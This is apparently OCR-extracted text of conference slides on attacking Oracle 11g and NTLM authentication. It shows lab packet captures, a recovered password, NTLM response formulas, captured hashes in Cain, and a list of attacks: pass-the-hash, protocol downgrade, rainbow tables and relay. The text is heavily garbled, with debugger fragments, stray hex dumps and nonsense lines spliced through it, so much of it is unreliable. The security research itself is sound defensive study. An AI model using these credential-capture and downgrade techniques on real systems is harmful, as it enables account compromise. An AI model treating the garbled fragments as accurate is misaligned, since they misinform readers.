The AUTH_PASSWORD encryption key is: 5BCAECA5E8CA4934247<mark>B72F4C4D0F75</mark>F43AE47B82DA3E3

The password is: SERVER_TO_CLIENT

Command Prompt

C:\svn\oracle\ntlm\hacktivity\oradecrypt11g}_

Land and the second of the sec

 00125700

 E.E.O.

 00125760

 S.T.E.S.T.

 00125764

 S.T.O.+

 00125760

 S.T.O.+

 S.T.O.+

- 🗆 ×

0000010). 2457388 ∂sE**0** 0000000 2457380 C≤**F0**

The weaker the protocol, the faster it can be cracked
For example, if we can convince an 11g to use a weaker algorithm, the difference between the small and capital letters will disappear

alpha max 6 characters

20158268676 / 321272406 = 62

VMware Virtual Ethernet Adapter: Capturing - Wireshark

Opanti aicou

— O — X

<u>File Edit View Go Capture Analyze Statistics Telephony Tools Help</u>

		🏟 🌍 ዥ	½ 🗐 🗐 Đ, Q, Q, 🖭 🎬 🗹 🕵 % 💢
Filter:			▼ Expression Clear Apply
Source	Destination	Protocol	Info
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	[TCP segment of a reassembled PDU]
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	1521 > 54471 [ACK] Seq=345 Ack=2578 Win=64240 Len=0
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	[TCP segment of a reassembled PDU]
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	54471 > 1521 [ACK] Seq=2718 Ack=2356 Win=65700 Len=0
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	54471 > 1521 [ACK] Seq=2718 Ack=2620 Win=65436 Len=0
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
1 1 9 2 1 6 8 61 11	192 168 61 1	TNS	Resnonse Data (6) Data
•			III
0000 00 0c 29 67	32 89 00 50 56 c0 00 01	08 00 45	00)g2P VE.
0010 00 49 19 4f	40 00 80 06 e6 02 c0 a8	3d 01 c0	a8 .I.õ@=
0020 3d 0b d4 c7	05 f1 e1 3b 32 b4 58 7b	e7 cd 50	18 =; 2.X{P.
0030 40 01 37 39	00 00 00 21 00 00 06 00	00 00 00	00 0.79!
0040 01 06 05 04	03 02 01 00 4a 61 76 61	. 5f 54 54	43 (Java_TTC)
0050 2d 38 2e 32	2e 30 00		-8.2.0.

VMware Virtual Ethernet Adapter: <live capt... Packets: 27 Displayed: 27 Marked: 0

VMware Virtual Ethernet Adapter: Capturing - Wireshark

07 08 05 05 05 05 05 0f

05 05 05 04 05 06 07 08

08 11 41 b0 23 00 83 00

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

01 7f ff 03 09 03 03 01 01 3f 01 01 05 00 01 07

25 06 01 01 01 0d 01

0070

0080

0090

00a0

00b0

00c0

00d0

00e0

00

OPapit Bicour

<u>File Edit View Go Capture Analyze Statistics Telephony Tools H</u>elp

	₩ ≈ ₽ ₽ 9, ♦ ♦	🔌 🗛 🚡 👱 🗐 🗐 🗨 🗨 🍳 🤨 📅 👹 🖄 🥵 🎉 💢	
F <u>i</u> lter:		✓ Expression Clear Apply	
Source	Destination P	Protocol Info	
192.168.61.1	192.168.61.11 т	TNS Request, Data (6), Data	
192.168.61.11	192.168.61.1 т	TNS Response, Data (6), Data	
192.168.61.1	192.168.61.11 т	TCP [TCP segment of a reassembled PDU]	
192.168.61.1	192.168.61.11 т	TNS Request, Data (6), Data	
192.168.61.11	192.168.61.1 т	TCP 1521 > 54471 [ACK] seq=345 Ack=2578 Win=64240 Len=0	
192.168.61.1	192.168.61.11 т	TNS Request, Data (6), Data	
192.168.61.11	192.168.61.1 т	TCP [TCP segment of a reassembled PDU]	
192.168.61.11	192.168.61.1 т	TNS Response, Data (6), Data	
192.168.61.1	192.168.61.11 т	TCP 54471 > 1521 [ACK] seq=2718 Ack=2356 Win=65700 Len=0	
192.168.61.11	192.168.61.1 т	TNS Response, Data (6), Data	
192.168.61.1	192.168.61.11 т	TCP 54471 > 1521 [ACK] seq=2718 Ack=2620 Win=65436 Len=0	
192.168.61.1	192.168.61.11 т	TNS Request, Data (6), Data	
192.168.61.11	192.168.61.1 т	TNS Response, Data (6), Data	
192.168.61.1	192.168.61.11 т	TNS Request, Data (6), Data	
192.168.61.11	192.168.61.1 т	TNS Response, Data (6), Data	
192.168.61.1	192.168.61.11 т	TNS Request, Data (6), Data	
1192 168 61 11	192 168 61 1 т	TNS Response Data (6) Data	
•		III	•
0000 00 50 56 c0 00	01 00 0c 29 67 32 89 08	08.00.45.00 PV)g2 F	_
0010 00 e1 d4 2f 40	00 80 06 2a 8a c0 a8 3d	3d Ob CO a8/@	
0020 3d 01 05 f1 d4	c7 58 7b e7 cd e1 3b 32	32 d5 50 18 = + 2. P.	
0030 f8 df e2 35 00	00 00 b9 00 00 06 00 00	00 00 00 00	
0040 01 06 00 49 42	4d 50 43 2f 57 49 4e 5f	5f 4e 54 2d (IBMPC /WIN_NT-)	
0050 38 2e 31 2e 30	00 b2 00 01 00 00 00 64	64 00 00 00 8.1.0d	
0060 60 01 24 Of 05	0b 0c 03 0c 0c 05 04 05	05 0d 06 09 🔨 \$	

.....#G##..#

.

.

.?....

.%.....

.

00

01

05

05 05 05 05 05 0a 05 05

08 23 47 23 23 08 11 23

b2 07 d0 03 00 00 00 00

00 00 00 00 00 00 00 00

00 7f 01 1f ff 01 03 01

02 01 00 01 18 00 01

00 00 00 00 00 00 00

01 01 01 01 01 01 01

VMware Virtual Ethernet Adapter: Capturing - Wireshark

00 01 00 01 00 00 00 02

00 08 00 01 00 00 00 0c

00 17 00 01 00 00 00 18

00 19 00 01 00 00 00 1a

00 1b 00 01 00 00 00 1c

00 1d 00 01 00 00 00 1e

00 1f 00 01 00 00 00 20

00 21 00 01 00 00 00 0a

00 0b 00 01 00 00 00 28

00 29 00 01 00 00 00 75 00 75 00 01 00 00 00 78

00 78 00 01 00 00 01 22 01 22 00 01 00 00 01 23

VMware Virtual Ethernet Adapter: < live capt... Packets: 27 Displayed: 27 Marked: 0

0120 01 23 00 01 00 00 01 24 01 24 00 01 00 00 01 25

0070

0080

0090

00a0

00b0

00c0

00d0

00e0

00f0

0100

0110

OPapil, Ricour

- O X

- Wireshark

00 02 00 0a 00 00 00 08

00 0c 00 0a 00 00 00 17

00 18 00 01 00 00 00 19

00 1a 00 01 00 00 00 1b

00 1c 00 01 00 00 00 1d

00 1e 00 01 00 00 00 1f

00 20 00 01 00 00 00 21

00 0a 00 01 00 00 00 0b

00 28 00 01 00 00 00 29

<u>File Edit View Go</u> Capture Analyze Statistics Telephony <u>T</u>ools <u>H</u>elp

F <u>i</u> lter:		✓ Expression Clear Apply
Source	Destination Proto	col Info
192.168.61.1	192.168.61.11 TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1 TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11 TCP	[TCP seqment of a reassembled PDU]
192.168.61.1	192.168.61.11 TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1 TCP	1521 > 54471 [ACK] Seq=345 Ack=2578 Win=64240 Len=0
192.168.61.1	192.168.61.11 TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1 TCP	[TCP segment of a reassembled PDU]
192.168.61.11	192.168.61.1 TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11 TCP	54471 > 1521 [ACK] Seq=2718 Ack=2356 Win=65700 Len=0
192.168.61.11	192.168.61.1 TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11 TCP	54471 > 1521 [ACK] Seq=2718 Ack=2620 Win=65436 Len=0
192.168.61.1	192.168.61.11 TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1 TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11 TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1 TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11 TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1 TNS	Response. Data (6). Data
•		
0000 00 0- 00 67 00	<u> </u>	
0000 00 0C 29 67 32	89 00 50 56 60 00 01 08 00	45 00)g2P VE.
0010 05 dC 19 50 40	f1 o1 2b 22 d5 58 7b o8 86	50 10 _ · · · · · · · · · · · · · · · · · ·
0020 30 00 04 C7 03		00 00 7 1
0040 02 b2 00 b2 00	01 25 06 01 00 00 08 01 01	04 01
0050 01 01 01 01 01		of 01
0060 07 04 01 00 00	00 00 00 00 00 00 01 01 02	00 01

.

.

. (. (.)

.)....u .u....x

.x....#

.#....\$.\$....%

VMware Virtual Ethernet Adapter: Capturing - Wireshark

192.168.61.11

102 168 61 1

₹.

Oranti alcour

54558 \$ 1521 [ACK] Son-2718 Ack-2620 Win-65426 Lon-0

<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>G</u> o	<u>C</u> apture	<u>A</u> nalyze	Statistics	Telephony	<u>T</u> ools
--------------	--------------	--------------	------------	-----------------	-----------------	------------	-----------	---------------

	8 6 x 2 8 4 9 4	🗧 🛸 🌍 ዥ ;	노 🗐 🖃 오, 오, 한 📓 🗵 幆 % 💢
F <u>i</u> lter:			▼ Expression Clear_ Apply
Source	Destination	Protocol	Info
192.168.61.1	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.1	TNS	Response, Resend (11)
192.168.61.1	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.1	TNS	Response, Accept (2), Accept
192.168.61.1	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.11	192.168.61.1	TNS	Response, Data (6), SNS
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	[TCP segment of a reassembled PDU]
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	1521 > 54558 [ACK] Seq=345 Ack=2578 Win=64240 Len=0
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	[TCP segment of a reassembled PDU]
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	54558 > 1521 [ACK] Seq=2718 Ack=2356 Win=65700 Len=0

TNS

TCD

Help

 0000
 00
 0c
 29
 67
 32
 89
 00
 50
 56
 c0
 00
 01
 08
 00
 45
 00
 ...

 0010
 00
 49
 31
 65
 40
 00
 80
 66
 cd
 ec
 c0
 a8
 3d
 01
 c0
 a8
 ...
 I

 0020
 3d
 0b
 d5
 1e
 05
 f1
 3b
 3c
 a2
 37
 46
 29
 b9
 a0
 50
 18
 =.

 0030
 40
 01
 ad
 d0
 00
 00
 10
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 00
 <

192.168.61.1

107 168 61 11

Response, Data (6), Data

111

VMware Virtual Ethernet Adapter: < live capt... Packets: 55 Displayed: 55 Marked: 0

VMware Virtual Ethernet Adapter: Capturing - Wireshark

Oran H. Alcour

ile	Edit	View	Go	<u>Capture</u>	Analyze	Statistics	Telephony	Tools
			_					

		🗢 🛸 🌍 🚡	生 🗐 🗟 숀 ㅇ, 앤, 🕾 👪 🗵 畅 % 💢
-ilter:			✓ Expression Clea <u>r</u> App <u>ly</u>
Source	Destination	Protocol	Info
192.168.61.1	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.1	TNS	Response, Resend (11)
192.168.61.1	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.1	TNS	Response, Accept (2), Accept
192.168.61.1	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.11	192.168.61.1	TNS	Response, Data (6), SNS
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	[TCP segment of a reassembled PDU]
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	1521 > 54558 [ACK] Seq=345 Ack=2578 Win=64240 Len=0
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	[TCP segment of a reassembled PDU]
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	54558 > 1521 [ACK] Seq=2718 Ack=2356 Win=65700 Len=0
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
107 168 61 1	107 168 61 11	TCD	54558 x 1521 [ACK] Sen-2718 Ack-2620 Win-65436 Len-0

Help

0000 .PV.....)g2...E. 00 50 56 c0 00 01 00 OC 29 32 08 00 45 00 67 89 e1 17 66 40 00 80 06 e7 53 c0 a8 3d 0b c0 a8 ...f@... 0010 00 01 f1 d5 a0 3b 3c a2 58 50 18 0020 3d 05 1e 46 29 b9 < XP. 0030 f8 df 58 da 00 00 00 b9 00 00 06 00 00 00 00 00 0040 2f 57 49 ... IBMPC /WIN_NT-01 06 00 49 42 4d 50 43 4e 5f 4e 54 2d 0050 38 2e 31 2e 30 00 b2 00 00 00 00 64 00 00 00 8.1.0...d. 01 0060 60 01 24 Of 05 0b 0c 03 0c Oc 05 04 05 0d 06 09 0070 07 08 05 05 05 05 05 0f 05 05 05 05 05 0a 05 05 05 05 05 04 05 06 07 08 0080 08 23 47 23 23 08 11 23 .#G##..# 08 11 41 b0 23 00 83 00 b2 07 d0 03 00 00 00 00 0090 00a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00b0 00 00 00 00 00 00 00 00 25 06 01 01 01 0d 01 01 01 01 01 00c0 00 05 01 01 01 01 7f ff 03 09 03 03 01 00 7f 01 1f ff 00d0 01 03 01 01 3f 01 01 05 00 01 07 00e0 02 01 00 01 18 00 01 .?.....

VMware Virtual Ethernet Adapter: <live capt... Packets: 55 Displayed: 55 Marked: 0

VMware Virtual Ethernet Adapter: Capturing - Wireshark

Orapht Ricous

_ D _X

<u>File Edit View Go Capture Analyze Statistics Telephony Tools Help</u>

	▋ ※ ② 븝 │ 🗢 🔹) 🎝 🐔	½ 🗐 📑 O. Q. Q. 🖭 🕁 🗵 🕵 % 💢
F <u>i</u> lter:			▼ Expression Clear Apply
Source	Destination	Protocol	Info
192.168.61.1	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.1	TNS	Response, Resend (11)
192.168.61.1	192.168.61.11	TNS	Request, Connect (1), Connect
192.168.61.11	192.168.61.1	TNS	Response, Accept (2), Accept
192.168.61.1	192.168.61.11	TNS	Request, Data (6), SNS
192.168.61.11	192.168.61.1	TNS	Response, Data (6), SNS
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	ТСР	[TCP segment of a reassembled PDU]
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	1521 > 54558 [ACK] Seq=345 Ack=2578 Win=64240 Len=0
192.168.61.1	192.168.61.11	TNS	Request, Data (6), Data
192.168.61.11	192.168.61.1	TCP	[TCP segment of a reassembled PDU]
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.168.61.1	192.168.61.11	TCP	54558 > 1521 [ACK] Seq=2718 Ack=2356 Win=65700 Len=0
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
107 168 61 1	107 168 61 11	TCD	5/558 x 1521 [ACK] Son-2718 Ack-2620 Win-65/26 Lon-0
•			4
0000 00 0c 29 67 32 8	19 00 50 56 c0 00 01 0	08 00 45 ()0)α2P.VE.

.....R...=... 0010 05 dc 31 6c 40 00 80 06 c8 52 c0 a8 3d 01 c0 a8 0020 0b d5 1e 05 f1 3b a2 58 46 29 ba 59 3d 3c 50 10 =....;< .XF).YP. 0030 3f d3 3e 19 00 00 08 00 00 06 00 00 00 00 00 ?.>.... 00 01 00 00 00 01 01 04 01 0040 02 b2 00 b2 00 01 25 06 %. 0050 01 01 01 00 28 90 03 07 03 00 01 00 0f 01 01 01 **(**. 0060 07 04 01 00 00 00 00 00 00 00 00 01 01 02 00 01 0070 00 01 00 01 00 00 00 02 00 02 00 0a 00 00 00 08 00 08 00 01 00 00 00 0c 0080 00 Oc 00 0a 00 00 00 17 0090 00 17 00 01 00 00 00 18 00 18 00 01 00 00 00 19 00a0 00 19 00 01 00 00 00 1a 00 1a 00 01 00 00 00 1b 00b0 00 1b 00 01 00 00 00 1c 00 1c 00 01 00 00 00 1d 1d 00 01 00 00 00 1e 00 1e 00 01 00 00 00 1f 00c0 00 00d0 00 1f 00 01 00 00 00 20 00 20 00 01 00 00 00 21 00e0 00 21 00 01 00 00 00 0a 00 0a 00 01 00 00 00 0b 00f0 00 0b 00 01 00 00 00 28 00 28 00 01 00 00 00 29 (. (.) 0100 00 29 00 01 00 00 00 75 00 75 00 01 00 00 00 78 .)....ú .ú....x 0110 00 78 00 01 00 00 01 22 01 22 00 01 00 00 01 23 .x...." 0120 01 23 00 01 00 00 01 24 01 24 00 01 00 00 01 25 #.....% VMware Virtual Ethernet Adapter: < live capt...</p> Packets: 55 Displayed: 55 Marked: 0 Profile: Default

Windows authentication

- Oracle supports the Windows-based authentication (create user domain\user identified by externally;)
- The users do not need to provide their password. If they've already logged into their workstation, they can use the following command to log in to the Oracle server (runs on Windows)
 - sqlplus /@connectionstring

Nales Are Nales Are fresh

- It is also a "challenge-response" protocol
 We can speak about more versions here also
 - PUSH DWORD PTR 05:177FEE08C]
 - NTLMv1 with NTLMv2 Session security
 NTLMv2



LM Response= **DES**(LMHASH[0-6],Challenge) UORD PTR DS:[<&KERNEL32.TlsSet +DES(LMHASH[7-13],Challenge) +DES(LMHASH[14-15] + 5*0x00,Challenge)

RD PTR OS:[77FEE08]

NTLM Response= DES(NTHASH[0-6], Challenge) +DES(NTHASH[7-13],Challenge) +DES(NTHASH[14-15] + 5*0x00,Challenge)



NTLM Type 3

$\frac{57}{56} + \frac{10}{1211} = \frac{62457394}{6008} \text{Mv2}$

NTLM Type 1

NTLM Type 2

oran11.01601cc

oran11.0164779

ardnii:r.6108(218

LMv2 Response =HMAC-MD5(HMAC-MD5(NTHASH,Username+Domain), Server Challenge+Client Challenge) +Client Challange

26AF 0

57694

ORD PTR DS: [77FEE0] ORD PTR DS: [<&KERN]

> NTLMv2 Response = HMAC-MD5(HMAC-MD5(NTHASH, Username+Domain)), Blob Singature+Reserved +Timestamp+ClientChallange +Unknown+Target Information +Server Challenge)

> > NTLM Type 3

M1257F0 02457300 24F6

776-55036

NTLMv2 Session Security

NTLM Type 1

Opan11.01601cor

Oran11.016477

 NTLM Type 2

 00.27634
 oranil.010060FC
 oranil.01007518

 00.27634
 oranil.010060FC
 oranil.012007F

 0012800C
 oranil.010060FC
 oranil.012007F

 0112800C
 oranil.010060FC
 oranil.012007F

 LM Response=Client Challenge + 16*0x00
 050000

DS: CK&KERNEL32.TIsSetValukernel32.TIsSetValue

NTLMv2 Session Response =

DES(NTHASH[0-6],MD5(Server Challenge + Client Challenge)[0-7]) +DES(NTHASH[7-13],MD5(Server Challenge + Client

Challenge)[0-7])

+DES(NTHASH[14-15]+5*0x00, MD5(Server Challenge + Client Challenge)[0-7])

> 4 00000801 0**0** 8 00000000 50 00000010 9 02457388 8<50

NTLM Type 3

Nal 576 Arg Na 56888 refresh

Problems

- Off-line brute-force
- DES-based (NTLMv1, NTLMv2 Session Security)
- The password hash is sufficient for the authentication (pass the hash attack)
- Depending on the configuration it can be downgraded to the NTLMv1
- Static server challenge + Rainbow tables
- Relay attacks (smbrelay, Squirtle)

N $\frac{9915}{57768}$ $\frac{4rg9}{4rg} = \frac{92457380}{60457394}$ $\frac{901}{5800}$ $\frac{5770}{4rg}$ $\frac{4rg9}{4rg} = \frac{99457394}{66008}$ $\frac{901}{5800}$ $\frac{5780}{4rg}$ $\frac{4rg9}{4rg} = \frac{99457394}{66008}$ $\frac{901}{5800}$ $\frac{5780}{4rg}$ $\frac{4rg9}{4rg} = \frac{99457394}{66008}$

	1701-480		1 001253101 105				ENTABLE REAK		
File View Confor	ire Tools	Help							
					~	-			
🔄 🔤 🙀 🚱 NTIM BRESEF AN	뺪 📗 🛨		81 III III III K		38 💈	e) ? <u>II</u> ? (
혽 Decoders 🔮 Network	: 🙀 Snif	fer 🥑 Cracker	🔇 Traceroute	🔝 CCDU	(N) Wire	less	Duery		
Passwords	Timest	SMB server	Client	Username	Domain	Ρ.	AuthType	LM Hash	NT Hash
FTP (0)	01/09/	192.168.61.10	192.168.61.11	test	test		NTLMv2 (NTLMSSP)	EBC1C1DEDCD69974DF05F0813B005150	F5048DB/
IMAP (0)	01/09/	192.168.61.10	192.168.61.11	test	test		NTLM Session Security (NTLMSSP)	27534EB47247A7810000000000000000	728BACBE
LDAP (0)									
POP3 (0)									
Telnet (0)									
VNC (0)									
TDS (0)									
TNS (0)									
NNTP (0)									
DCE/RPC (0)									_
MSKerb5-PreAuth (
Radius-Neys (0)									
IKE-PSK (0)									
MySQL (U)									
SIP (0)	<u> </u>								
									_
6									
	<								>
<	sy∎ SMB								
🗐 Hosts 🕢 APR 🕂 R	, outing 🦻	Passwords	VoIP						
Lost packets: 0%									/
R 25 18 18 28 18 26 96 5	E E2 00	S DA . C.P	*N.5.7	S4165168	02457380	Ĉe	ė.		m
	SZ CE FE	10 Go C.a. 1 S.		101257EP	02462994	25	*** ***		

00126000 MIA

N 001 5380 Arg No 5064 refresh

Cain test results (downgrade)

Server		Send LM & NTLM response	Send LM & NTLM - use NTLM session security if negotiated	Send NTLM response only	Send NTLMv2 response only	Send NTLMv2 response only/refuse LM	Send NTLMv2 response only/refuse LM & NTLM
	Send NTLM response only			OK	ОК	ОК	ОК
Client	Send NTLMv2 response only	NOK	NOK	NOK			

Opanit alcou

🔀 13 0.119206 192.168.61.10 192.168.61.11 SMB Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED

NILMSSP	
NTLMSSP identifier: NTLMSSP	
NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)	
🗷 Domain: TEST	
■ Flags: 0xe2898215	
NTLM Challenge: F54190ED5B4537BF	
Reserved: 000000000000000	
🗉 Address List	
Length: 126	
Maxlen: 126	
Offset: 64	
🗉 Domain NetBIOS Name: TEST	
■ Server NetBIOS Name: WIN2K3DC	
🖩 Domain DNS Name: test.local	
🖩 Server DNS Name: win2k3dc.test.local	
⊞ Unknown type:0x0005	
1 04 81 06 46 14 03 15 82 89 02 f5 41 90 ed 18 00 08 00	
	<pre>NILMSSP NTLM SSP identifier: NTLMSSP NTLM Message Type: NTLMSSP_CHALLENGE (0x0000002) Domain: TEST</pre>

N 001 57758 Ars 7 6008 Ars 7

Opapit auro

🗷 14 0.119371 192.168.61.10 192.168.61.11 SMB [TCP Out-Of-Order] Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_RE... 🗐 🔲 🗙

		NTL NTL	.MSSP .M Me	ident ssage	ifier: Type:	NTL NTLM	MSSF SSP_	р _СН/	ALLE	ENGE	E ((0x000	00002)	
	6	∃ Don	nain:	TEST										
	;	∎ Fla	igs:	0xe281	8215									
	G	NTL Res Adc L M 0 ⊞ D ⊞ S Ⅲ D Ⅲ S	.M Chi server lress ength axler ffset omair erver omair erver nknow	alleng d: 000 List 126 1: 126 1: 64 1 NetB 1 NetB 1 DNS N 2 DNS N	e: F54 000000 IOS Nam IOS Nam Name: 1 Name: V 2:0x000	190E 0000 ne: 1 ne: V cest. vin2k)5	D5B4 000 FEST VIN2 10c c3dc	K3D al	ßF	100	al			
)										
0080 0090 0040 0050 0060 0060 0060 0100 0100 0120 0130 0140 0150 0150 0160 0170 0180 0180 0180 0180 0180 0180	c1 04 08 00 5b 45 40 00 53 00 01 00 44 00 2e 00 63 00 77 00 2e 00 63 00 74 00 00 00 20 00 32 00 65 00 00 00 20 00 32 00	81 b 08 0 37 b 00 0 54 0 10 0 43 0 6c 0 69 0 61 0 2e 0 57 0 53 0 20 0 57 0 53 0 30 0 57 0 53 0 30 0 53 0 50 0	e 4e 0 388 f 00 0 05 0 02 0 05 0 04 0 6f 0 65 0 6c 0 65 0 6c 0 65 0 65 0 30 0 53 0 69 0 65 0 30 0 53 0 69 0 65 0 30 0 53 0 69 0 65 0 30 0 53 0 69 0 65 0 7 0 7 0 7 0 7 0 7 0 7 0 7 0 7	54 4c 00 00 00 02 ce 00 08 00 49 00 14 00 63 00 32 00 73 00 05 00 6f 00 6e 00 72 00 33 00 65 00 61 00 62 00 33	4d 5 00 0 00 0 00 0 00 5 00 4 00 5 00 4 00 6 00 6 00 6 00 7 00 6 00 7 00 6 00 7 00 6 00 7 00 6 00 7	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	81 00 45 32 66 33 2e 65 33 66 65 33 76 66 535	00 122 00 00 00 00 00 00 00 00 00	02 f5 7e 54 53 4b 73 03 64 6c 65 6c 77 72 37 69 20 77 72 2e	$\begin{array}{c} 00\\ 41\\ 00\\ 00\\ 00\\ 00\\ 00\\ 00\\ 00\\ 00\\ 00\\ 0$	00 90 7e 45 54 33 74 26 63 6f 73 00 73 20 39 63 31 73 20 32	00 ed 00 00 00 00 00 00 00 00 00 00 00 00 00	NTLM 8 [E7 S.T D.C W.I. D.C 	SSP
1.0		20 0	5 50	00 00	50 E		22				22	~~	2.0.0.0.	

NTLMSSP

N $\frac{99125778}{90125778}$ $\frac{9rg9}{4rg} = \frac{92457380}{6808}$ $\frac{901}{5880}$ $\frac{9751}{4rg}$ $\frac{979}{4rg}$ $\frac{92457394}{6808}$ $\frac{90125804}{60125804}$ $\frac{9rg9}{4rg}$ $\frac{92457394}{6808}$ $\frac{90125804}{4rg}$ $\frac{9rg13}{4rg} = \frac{90000000}{6000}$

-FF	CHE AND THE OR	U LA, FROM	107		Loat25	KINI MARA	19 - I A A A A A			LODADII 0(747				
	<u>70</u> 14 0.119371 192.1	168.61.10	192.168.61	.11 SMB [T	CP Out-C	f-Order] S	ession Setu	p An	dX Response, NT	TLMSSP_CHALLENG	E, Error: STATUS	_MORE_PROCESSING	i_RE 📃 🗖	×
atf			.1					=	Negotiate	0x02000000:	Set			^
1721			0					=	Negotiate	0x01000000:	Not set			
8			1					=	Negotiate	Target Info	: Set			
122			0.					=	Negotiate	0x00400000:	Not set			
			0					=	Negotiate	0x00200000:	Not set			
				2 · · ·				=	Negotiate	0x00100000:	Not set			
CEP			••••	. 0				- =	Negotiate	NTLM2 key:	Not set			
616		••••	• • • • • • •		• • • •	• • • • • •	•••••	=	Negotiate	Challenge N	on NI Sess	ion Key: Not	set	
			• • • • • • •	0.	• • • •	• • • • • •	•••••	=	Negotiate	Challenge A	ccept Respo	onse: Not set	C	
		••••	• • • • • • •	1		• • • • • •	•••••	=	Negotiate	Challenge 1	nit Respons	se: Set		
8			• • • • • • •	• • • • • •	1	• • • • • •	•••••	=	Negotiate	Always Sign	: Set	+ +		-
é E S			• • • • • • •	• • • • • •	.0	• • • • • •	•••••	=	Negotiate	Workstation	al Call: No	Not cot		
C IR			• • • • • • •	• • • • • •	0.		•••••	=	Negotiate	Domain Supp	Jied: Not (NOL SEL		
8.8			••••	• • • • • •	0	· · · · · · ·	•••••	=	Negotiate	Apopumous:	Not cot	set		
Ξ.,			••••			0	•••••	_	Negotiate		Not set			
			••••					=	Negociace	0x00000400.	NOL SEL			~
	<												2	
	0080 c1 04 81	be 4e	54 4c 4	ld 53	53 50	00 02 0	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	0	NTLM	SSP				<u>^</u>
	0090 08 00 08 00a0 56 45 37	00 38 hf 00		10 13 00 0	00 00	00 7e (HI 90 E)0 7e 0	u 0	o [F7	· · · · · · · · · · · · · · · · · · ·				
ŏ,	00b0 40 00 00	00 05	02 ce 0)e 00 (00 00	0f 54	00 45 0	ŏ	@	T.E.				
7 (E)	00c0 53 00 54	00 02	00 08 0	0 54 (00 45	00 53	00 54 0	0	S.T	T.E.S.T.				
10	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	00 57	00 49 0)0 4e (00 32	00 4b 0	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	0	W.I.	N.2.K.3.				
92	00E0 44 00 43 00f0 2e 00 6c	00 04 07	00 14 0	0 61 (00 05 00 6c	00 03	10740	0	1.0.0	a.l&.				
5.5	0100 77 00 69	00 6e	00 32 0	0 6b (00 33	00 64	0 63 0	Õ	w.i.n.2.	k.3.d.c.				
8	0110 2e 00 74	00 65	00 73 0	0 74 (00 2e	00 6c	00 <u>6</u> f 0	0	t.e.s.	tl.o.				
	0120 63 00 610120 74 00 20	. 00 6C	00 05 0	$\frac{10}{10}$	00 /4	00 65 0	$\frac{10}{20}$ $\frac{73}{20}$ $\frac{0}{20}$ $\frac{10}{20}$	0	c.a.l	t.e.s.				
1	0140 00 00 57	00 69	00 6e 0	0 64 (00 01 00 6f	00 77	000000	0	W.i.n.	d.o.w.s.				
20	0150 20 00 53	00 65	00 72 0	0 76 (00 65	00 72 (0 20 0	Ō	.S.e.r.	v.e.r				
